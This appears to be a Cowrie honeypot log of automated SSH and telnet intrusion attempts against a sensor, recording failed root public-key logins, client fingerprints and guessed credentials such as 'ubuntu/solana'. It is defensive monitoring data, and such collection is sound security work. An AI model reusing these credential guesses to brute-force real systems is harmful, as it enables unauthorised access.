{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:01:07:04:64:13:f9:3a:93:60:8b:61:77:3c:4e:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Hr/CTxCTZm2B9EpsXm5+2EZdAXje6qGuzsTxR35lqKfDzvzx1BoMcO3NoG+j9gKUEMI4CnSZ1SqtlQ/mFpiaGl2lvG8OZlcQYtphy1avTdgpJvxMd2oAqhP9Q1/U+pZkQVAQKMkAPzX5YhUO0YzRJU4+Hy4uyvnstZuXOxxESXSSuWLy0pi99/vv5MkliNTbOssaXPOtfv2DMyzr9AViicg6SjCVd2KFkgaw6JjrxQK4HA03DrJq1wYC2Gl85z0Bz6zn/jGJi36JTLbOYxq5a3OjOhfJF6Dmme6QxEmcWYgP75UGl8NDbywc+dSfi/YdLb2nq8jnGW2XlANfwf3J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:01:07:04:64:13:f9:3a:93:60:8b:61:77:3c:4e:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.387766Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:01:07:04:64:13:f9:3a:93:60:8b:61:77:3c:4e:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8Hr/CTxCTZm2B9EpsXm5+2EZdAXje6qGuzsTxR35lqKfDzvzx1BoMcO3NoG+j9gKUEMI4CnSZ1SqtlQ/mFpiaGl2lvG8OZlcQYtphy1avTdgpJvxMd2oAqhP9Q1/U+pZkQVAQKMkAPzX5YhUO0YzRJU4+Hy4uyvnstZuXOxxESXSSuWLy0pi99/vv5MkliNTbOssaXPOtfv2DMyzr9AViicg6SjCVd2KFkgaw6JjrxQK4HA03DrJq1wYC2Gl85z0Bz6zn/jGJi36JTLbOYxq5a3OjOhfJF6Dmme6QxEmcWYgP75UGl8NDbywc+dSfi/YdLb2nq8jnGW2XlANfwf3J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.391584Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:fc:b6:f6:17:2d:0c:ac:51:36:f9:26:ad:fe:7a:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaMdDzNURHdzqmEQRJ6G1fLjXnKoLhcXGG1ZKisjhykEkbOVlba7NxM6kRQTYqFpBY5x9oSUdl/S4Cx42f3gbET0oxcw5Vsx3DH5wjpJn/0sFjgB7bB4hrhh/JINEsM3DkPiQd0gEUW50d0Tg32JC+bMgge3ji/GX/3FVBuFxNWczl3JvWIwN6JyLscRqHPznKMo0+ItLmzcYWxNEntzRUoqcBwclFrkZwk/HXdtOd3v3w7qvuaOiwxViKEbmdWRRN7M9heR6vw4niyZBPWRoqFHA4DB3ektTosk5XBiG5E4/bh77lqAIDJzrR3ltTqeslwf1rn3udd0UlWQNvtc9WAUsSCQLZMea0GWWkMeQVgJR1tmM3pjeOr35jLhRce5WH9g97jcEX6l/BVRDaIlWz+DYOeiNeglrcyhcHlq87FeQzu2vy3BeNeWYKLNQWn3RltEFdWN7xMIqyqFpTxhzzao2U4u/wr3AeekNsmngnasBkA+VK6YjxLG8u+zKMUzg3bxmOjt6fC38pF8LBqG51ePoJEi0PLYUcRj5EWnkQcJEGctsfAAOAb8eozJ2JtWWanUHotHf7wxcM2ObWBFUx/gOkh0GcjfLLUjyOUkMdDt6/i2+su3B1odlRSoSqY3X+lJtv14MwRXEidzHy9687KzEuhgsX618aBXKy5KDHyw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:fc:b6:f6:17:2d:0c:ac:51:36:f9:26:ad:fe:7a:ee","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.515423Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:fc:b6:f6:17:2d:0c:ac:51:36:f9:26:ad:fe:7a:ee","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDaMdDzNURHdzqmEQRJ6G1fLjXnKoLhcXGG1ZKisjhykEkbOVlba7NxM6kRQTYqFpBY5x9oSUdl/S4Cx42f3gbET0oxcw5Vsx3DH5wjpJn/0sFjgB7bB4hrhh/JINEsM3DkPiQd0gEUW50d0Tg32JC+bMgge3ji/GX/3FVBuFxNWczl3JvWIwN6JyLscRqHPznKMo0+ItLmzcYWxNEntzRUoqcBwclFrkZwk/HXdtOd3v3w7qvuaOiwxViKEbmdWRRN7M9heR6vw4niyZBPWRoqFHA4DB3ektTosk5XBiG5E4/bh77lqAIDJzrR3ltTqeslwf1rn3udd0UlWQNvtc9WAUsSCQLZMea0GWWkMeQVgJR1tmM3pjeOr35jLhRce5WH9g97jcEX6l/BVRDaIlWz+DYOeiNeglrcyhcHlq87FeQzu2vy3BeNeWYKLNQWn3RltEFdWN7xMIqyqFpTxhzzao2U4u/wr3AeekNsmngnasBkA+VK6YjxLG8u+zKMUzg3bxmOjt6fC38pF8LBqG51ePoJEi0PLYUcRj5EWnkQcJEGctsfAAOAb8eozJ2JtWWanUHotHf7wxcM2ObWBFUx/gOkh0GcjfLLUjyOUkMdDt6/i2+su3B1odlRSoSqY3X+lJtv14MwRXEidzHy9687KzEuhgsX618aBXKy5KDHyw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.525158Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e9:76:18:2d:05:88:59:d9:02:4e:a2:7e:32:cf:44:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6eUnfBbNhNG/n0k2RPWG7aNDZ1fs9OSl81QE/sVKNUvH1iZ66EF4T/3ML+k+HCTFjc01ay55QwczRr9Ha9lJZp4yyplb3dvXmRJ59sqZ/PbxKIWQFXQxjpFhpKRTQYk7Sl+SkiCIHsyT2ybQ3QcmOMsyIabCx23IkpNoGBSryWzKFtNMxAkKax64TMfuTWSETP/PGizy0M8cOuDs2fKFODz32We3MtXmWFnQzk44ZacNcWrDF0epVEL7VTnztdqfmHv2Pt+K8yusRYasxhJLm/7mEUXrkNpFjWgGXXJ2oh0U5zv0LYajykMbvp7DfE+ITs36/Mp66DAM9d2kV8pVjal5KN/8TXIaxQaxYZXj0T+CBz9ZJFZCJDk1+EJi5JBJfGa8fpzvPGIHQEPzTX8sLwyNnCGRvs6lu+sOYVbY8J4u4fv2j1L9zjNqU7gwHHznwo3rrqYwpuuarHNp0Oqpj3JkfNbq1wY87dJ/XvRNj3uRSzG+M25t78NywBG0pZbpBbatUngysO/XwY3e9/JPK0XVKillYNZPaD3n2YGvD1uQze483Df14pDcWVGpyOSt+B6ChIyFutEId/0mW2/Fw8gsplGPEegAYjTeYGd0ctoLA8G23p1Va8MVVLB/TTPMwWEhIBsKldpdjnhthuVx9+VzG5HRKbh8ETzdQWj1P5w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e9:76:18:2d:05:88:59:d9:02:4e:a2:7e:32:cf:44:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.649047Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e9:76:18:2d:05:88:59:d9:02:4e:a2:7e:32:cf:44:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6eUnfBbNhNG/n0k2RPWG7aNDZ1fs9OSl81QE/sVKNUvH1iZ66EF4T/3ML+k+HCTFjc01ay55QwczRr9Ha9lJZp4yyplb3dvXmRJ59sqZ/PbxKIWQFXQxjpFhpKRTQYk7Sl+SkiCIHsyT2ybQ3QcmOMsyIabCx23IkpNoGBSryWzKFtNMxAkKax64TMfuTWSETP/PGizy0M8cOuDs2fKFODz32We3MtXmWFnQzk44ZacNcWrDF0epVEL7VTnztdqfmHv2Pt+K8yusRYasxhJLm/7mEUXrkNpFjWgGXXJ2oh0U5zv0LYajykMbvp7DfE+ITs36/Mp66DAM9d2kV8pVjal5KN/8TXIaxQaxYZXj0T+CBz9ZJFZCJDk1+EJi5JBJfGa8fpzvPGIHQEPzTX8sLwyNnCGRvs6lu+sOYVbY8J4u4fv2j1L9zjNqU7gwHHznwo3rrqYwpuuarHNp0Oqpj3JkfNbq1wY87dJ/XvRNj3uRSzG+M25t78NywBG0pZbpBbatUngysO/XwY3e9/JPK0XVKillYNZPaD3n2YGvD1uQze483Df14pDcWVGpyOSt+B6ChIyFutEId/0mW2/Fw8gsplGPEegAYjTeYGd0ctoLA8G23p1Va8MVVLB/TTPMwWEhIBsKldpdjnhthuVx9+VzG5HRKbh8ETzdQWj1P5w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.654229Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:52:12:83:87:f7:28:68:30:1d:5a:a5:25:34:15:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYK4i7e/LGu5ERZuNG7z+1rZRdJMSMM5nC4vYV8rRXZ1UPonM5sH0+OraZcd6dLLQjFjtm58es2xzNOgnhXdSn9hlw+3inewWO+WlN0lMlNr7OdH1x6YkG4LmOYcr0yTdeuuOIwiRR9WXvoEWe7qRmTGpRxDkuGLV8Gv+qlDfqr7jf8KIGHs6B8WjlynaeBhHvHgfyefpJC4HYFSLVlHu8Sh7BHkJ+BO73gotevt8mYaLvvrsUpbDsw0KAeem/PntzYKKvVaeZvB+oJJ18Ysyv49ZEknax04GfMegbAU5e+r4395zEJJPYRpqUhWBIiVlImkrM6VP4+wVZ6uOkm8c2hdhGucR1/Dk8gLc1J17lvJKYdkXr8QAwc2gtovXLy5qKsJcd9yzQNmV9DJIp7I3sZgYwMIvN5yV0RCUXmkbKJ/dP8qAmMYrZ4W6wu2KWpxLS4VPGkbB0dZmt/QMAWLCtULIQnVuuhV9UDVxMlddjqifI+url8JZ0rWqaSex7dj3yW5d7aWwwIrPNuvaioSYuFWTbjYYkvs+pZx7MNRwUSBe5OImRVj6kB4aToRIhcvYWS9BnN8I1IGA6wwBqu7mph10ac/FQY8mJ8V0GTV/bijjpcV5RTSxGNZnIwYrHWG0bmxddchpsvds0neh2v3sqMrDRZkmhCiFdeMq7FOPInw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:52:12:83:87:f7:28:68:30:1d:5a:a5:25:34:15:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.777678Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:52:12:83:87:f7:28:68:30:1d:5a:a5:25:34:15:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDYK4i7e/LGu5ERZuNG7z+1rZRdJMSMM5nC4vYV8rRXZ1UPonM5sH0+OraZcd6dLLQjFjtm58es2xzNOgnhXdSn9hlw+3inewWO+WlN0lMlNr7OdH1x6YkG4LmOYcr0yTdeuuOIwiRR9WXvoEWe7qRmTGpRxDkuGLV8Gv+qlDfqr7jf8KIGHs6B8WjlynaeBhHvHgfyefpJC4HYFSLVlHu8Sh7BHkJ+BO73gotevt8mYaLvvrsUpbDsw0KAeem/PntzYKKvVaeZvB+oJJ18Ysyv49ZEknax04GfMegbAU5e+r4395zEJJPYRpqUhWBIiVlImkrM6VP4+wVZ6uOkm8c2hdhGucR1/Dk8gLc1J17lvJKYdkXr8QAwc2gtovXLy5qKsJcd9yzQNmV9DJIp7I3sZgYwMIvN5yV0RCUXmkbKJ/dP8qAmMYrZ4W6wu2KWpxLS4VPGkbB0dZmt/QMAWLCtULIQnVuuhV9UDVxMlddjqifI+url8JZ0rWqaSex7dj3yW5d7aWwwIrPNuvaioSYuFWTbjYYkvs+pZx7MNRwUSBe5OImRVj6kB4aToRIhcvYWS9BnN8I1IGA6wwBqu7mph10ac/FQY8mJ8V0GTV/bijjpcV5RTSxGNZnIwYrHWG0bmxddchpsvds0neh2v3sqMrDRZkmhCiFdeMq7FOPInw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.782976Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3d:76:da:cc:4f:da:12:a9:bc:09:ff:dc:63:90:ef:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWPjD6iM9VmxwEQwpSvHUMX6gBXa7B549gmakLh84KQ+L9AdwW/1S6YnMOXYtctfKAQxHzt3Hb32LkgMtju8lWheD8eAzb+KfJaZCSvxpKqVM4/hUJdCMHxZ03nmK/1ZjCkV657XOS3Z6R2aMAA0c+itygnlvXePEqqKpZr3KVmPGnaOQkgXCM8IVxmRTQCAhWyRtMmWlx4crdtnch01SHLGwHIkm3/KcRU8VhI6vAuQ+StNpNyggShkvbmywmwpxIKpImePAxFVJRfuD9DQ/DwMVokZWkWCuq2iz26VXPyUiK1dY7WloZgyHcopVIm0XO/oDQt7q7qBb5ugwevlrEUT5+Vr52lA5NChZGTKaPFK38VyIr5mhjhYdAFroXVh02l9hCOkhyfWqkXfEDP56PqYb86U2Zhb6hPZB0afl9XrlE9ULto0IhYY2J4oQ/ZmPWZeh3v50wn1NfHVEEMynJxoclE6SMvPcrxjg3UjjEJZI7+UOHw33moAN16jvsn0ZKRgFYhxcqdWNIUqViGT+PAFFCJ1wj1bAaWDoCKvcpZ2tIRtH+9OYt8TyQUEMOy9Yi1RrCH0tqsBW87jx5daTGmIjJxhsJkgf7rMR2noAxEj2r0hFkSKWBkEtOf7yCXuUJe26tq0j8T7hz9lT5gz7zuPbfCh8tnPmiD3Z3lqXHUQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3d:76:da:cc:4f:da:12:a9:bc:09:ff:dc:63:90:ef:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.907429Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3d:76:da:cc:4f:da:12:a9:bc:09:ff:dc:63:90:ef:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDWPjD6iM9VmxwEQwpSvHUMX6gBXa7B549gmakLh84KQ+L9AdwW/1S6YnMOXYtctfKAQxHzt3Hb32LkgMtju8lWheD8eAzb+KfJaZCSvxpKqVM4/hUJdCMHxZ03nmK/1ZjCkV657XOS3Z6R2aMAA0c+itygnlvXePEqqKpZr3KVmPGnaOQkgXCM8IVxmRTQCAhWyRtMmWlx4crdtnch01SHLGwHIkm3/KcRU8VhI6vAuQ+StNpNyggShkvbmywmwpxIKpImePAxFVJRfuD9DQ/DwMVokZWkWCuq2iz26VXPyUiK1dY7WloZgyHcopVIm0XO/oDQt7q7qBb5ugwevlrEUT5+Vr52lA5NChZGTKaPFK38VyIr5mhjhYdAFroXVh02l9hCOkhyfWqkXfEDP56PqYb86U2Zhb6hPZB0afl9XrlE9ULto0IhYY2J4oQ/ZmPWZeh3v50wn1NfHVEEMynJxoclE6SMvPcrxjg3UjjEJZI7+UOHw33moAN16jvsn0ZKRgFYhxcqdWNIUqViGT+PAFFCJ1wj1bAaWDoCKvcpZ2tIRtH+9OYt8TyQUEMOy9Yi1RrCH0tqsBW87jx5daTGmIjJxhsJkgf7rMR2noAxEj2r0hFkSKWBkEtOf7yCXuUJe26tq0j8T7hz9lT5gz7zuPbfCh8tnPmiD3Z3lqXHUQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:04.912686Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:05.037610Z","src_ip":"89.45.201.189","session":"7d97bb95a2bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":54378,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ea3493ec243","protocol":"ssh","message":"New connection: 193.32.162.145:54378 (159.203.135.109:22) [session: 7ea3493ec243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:54.611305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:54.618917Z","src_ip":"193.32.162.145","session":"7ea3493ec243","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:54.719761Z","src_ip":"193.32.162.145","session":"7ea3493ec243","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:55.027923Z","src_ip":"193.32.162.145","session":"7ea3493ec243","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:23:56.132439Z","src_ip":"193.32.162.145","session":"7ea3493ec243","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.43.67.134","src_port":59310,"dst_ip":"10.17.0.5","dst_port":23,"session":"33c3ee643a2c","protocol":"telnet","message":"New connection: 41.43.67.134:59310 (10.17.0.5:23) [session: 33c3ee643a2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:25:16.842621Z"}
{"eventid":"cowrie.session.closed","duration":12.895563840866089,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:25:29.737842Z","src_ip":"41.43.67.134","session":"33c3ee643a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":40188,"dst_ip":"159.203.135.109","dst_port":22,"session":"229042f1018d","protocol":"ssh","message":"New connection: 193.32.162.145:40188 (159.203.135.109:22) [session: 229042f1018d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:04.234578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:04.239669Z","src_ip":"193.32.162.145","session":"229042f1018d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:04.346968Z","src_ip":"193.32.162.145","session":"229042f1018d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"solana","message":"login attempt [ubuntu/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:04.652702Z","src_ip":"193.32.162.145","session":"229042f1018d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:05.765883Z","src_ip":"193.32.162.145","session":"229042f1018d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.224","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e0763ba3372","protocol":"ssh","message":"New connection: 190.244.39.224:36746 (10.17.0.5:22) [session: 5e0763ba3372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:17.160387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:17.168886Z","src_ip":"190.244.39.224","session":"5e0763ba3372","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:17.422868Z","src_ip":"190.244.39.224","session":"5e0763ba3372","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123#","message":"login attempt [ubuntu/ubuntu123#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:18.271753Z","src_ip":"190.244.39.224","session":"5e0763ba3372","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:19.485076Z","src_ip":"190.244.39.224","session":"5e0763ba3372","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":27904,"dst_ip":"10.17.0.5","dst_port":22,"session":"b3737d184335","protocol":"ssh","message":"New connection: 106.241.31.17:27904 (10.17.0.5:22) [session: b3737d184335]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:27.043731Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:27.245849Z","src_ip":"106.241.31.17","session":"b3737d184335","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"106.241.31.17","src_port":29064,"dst_ip":"10.17.0.5","dst_port":22,"session":"613cd4ff7a2d","protocol":"ssh","message":"New connection: 106.241.31.17:29064 (10.17.0.5:22) [session: 613cd4ff7a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T01:26:27.435970Z"}
